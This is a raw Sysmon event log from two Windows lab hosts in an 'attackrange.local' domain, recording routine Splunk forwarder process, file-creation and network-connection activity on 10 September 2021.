14:50:20.005{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047302Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:20.005{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047301Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:20.005{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-70AC-613B-150B-00000000F001}6812C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000047300Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:20.005{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-70AC-613B-150B-00000000F001}6812C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000047299Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:20.005{7BD73061-70AC-613B-150B-00000000F001}6812C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 354300x800000000000000014894Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:18.407{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50190-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 10341000x800000000000000047327Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:21.880{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-70AD-613B-170B-00000000F001}2240C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047326Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:21.880{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047325Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:21.880{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047324Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:21.880{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047323Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:21.880{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047322Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:21.880{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-70AD-613B-170B-00000000F001}2240C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000047321Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:21.880{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-70AD-613B-170B-00000000F001}2240C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000047320Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:21.880{7BD73061-70AD-613B-170B-00000000F001}2240C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000047319Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:21.395{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=346A61DDA483C81EF5FEEA9871145E5D,SHA256=4F721E5375268A93E8D5A4EEF5CE2941777DC05EDF669FE136C75C7A4F0EBD7F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014896Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:21.160{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EA7BB4D2D0FA5010E8B8734C5E4EB07D,SHA256=4993CA32039179D517C0E7CA3D6966B920E496A70BE73BE993B06D6183352806,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047318Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:21.223{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=CEA49FED2D20BA61E91AA1D133DCD86C,SHA256=0C2AD50D1700A7E3CDDFF698D82F538F9E576F378F96C15C6C2443A28D4EF419,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047330Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:22.926{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=6C29B2BECDAEFBAA1F50DCFEA5719C85,SHA256=9DC52CCDCC2558DAA6BE14E8501AB49D710C1E5E527A08AB920EB6F7BB1B723A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047329Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:22.411{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=56BC405BCDED33D1C5A62351940E4C35,SHA256=52708C342F5EC7757B9F4FB1AFC4EF2A0D345C0FCC8A3F9186B26458C5376EB4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014897Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:22.160{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E9C1028088A98BCCFACD53F9E3095A78,SHA256=30E7D5B659FD111B000F70CED0368DE64797AA46032FE10B260CFF6037AF47B0,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047328Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:20.317{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59380-false10.0.1.12-8000- 23542300x800000000000000047331Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:23.645{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8FD23A29D7DDCD217E43193BD487E9B4,SHA256=E5EBDA5CD007C7BA9D1E5AF3FA89F358E1C3DC46291A44D7D96001780F5683CF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014898Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:23.175{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C84A5C8373C219137E01D2E0E33A33CD,SHA256=B084AD17934EC20EA22CD4DAA1525E2D804ADF6628AB15FF05049F31E804D89D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047332Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:24.676{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B0195FA3BE93C00BED84E46750B1FAE7,SHA256=D51A8CAE939159E7F307A5A2BA271802855C823B6C4026988C5B0ACDDE87A259,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014899Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:24.191{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8212B32D5D10604A7F15357CE294EBA8,SHA256=57316D128CD47B7750DFEE2BB0E14243431E4C4F4930995458DCB2D1244D6345,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047333Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:25.723{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=855724625100E390E0FE410B1DC9EC1A,SHA256=6E66D2033AB328B5B29F70D61BFA2AD957CA722F8EAC7FD76BC772316195F89D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014900Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:25.206{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=78E9181F20C6BEDCA62C4B5DA412D9D8,SHA256=B0C0B2AB12670CC5532D2690B286CA89F5A089A0803F0DD795DA1B5D41951381,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047334Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:26.739{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0DC3E30F08724BA9B5761FBEF8E22285,SHA256=9BCCE9AA7008E9768DB4B8F778C4E66D6733D550FC30245EBCB1C2B135EE04FC,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014902Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:24.375{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50191-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000014901Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:26.222{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=76210E075CB7D6C96CD57FA8AFE838B5,SHA256=990DD61D8D5B0C92B042A997EBA9CE079DA1AEE17886B83282F8AB9B643F9587,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047335Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:27.770{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5E08FA13FEC809B760842A114C46F91C,SHA256=284684540E52C9733A5B2CB901A3C7EBDD27061F076F96CB6C6594F74477E0E8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014903Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:27.238{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=437587BA8ADFF12A63CBE8072232E777,SHA256=FFD13C41026DFA7AFA65750A76C24E3CFC0E368D6FA6F69FE8A095A452B12832,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047337Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:28.801{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B937090DDBB5ECF095F8EC6400F44314,SHA256=91409143D7A619412C042EA4CCCBAE5C4BDACB61F0AB278B8D4E5C97C78304CB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014904Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:28.253{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=969C6B11261EF6678CF0CAC72B276569,SHA256=F15583EB23497A274A159456FFA77E5DB9AC72DD46BA5045788881152E4AE55A,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047336Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:25.395{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59381-false10.0.1.12-8000- 23542300x800000000000000047339Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:29.958{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C6EE1B8196F5DDC3F437381AD95C32C6,SHA256=9BDE904756013D764DA77FBFF3E088FA042B4C07A4E7E7A5E0073C5DCE750517,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014905Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:29.253{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7639F50896D06CD31F7EB5A9BC86D376,SHA256=E348F4C423D994497F5BC379B032EE09931E6590986F8075640310B616C66930,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047338Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:29.629{7BD73061-664E-613B-B000-00000000F001}4184NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047340Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:30.994{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F9A0A02C27963D70E76C45525ACC87CE,SHA256=7965CF84BE50D40D97A4A7BDE8527004011A36E7EE6CEF0C3C2CB8935A4C5872,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014906Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:30.300{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8C6260F088B929EF8BCBA4C25D69FE4A,SHA256=B50A40EA22CEFF1BF91395CC79CC0088E9C3EC418B0D6327D4958C6B0DF8556D,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000014921Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:31.727{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-70B7-613B-BE04-00000000F101}3968C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014920Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 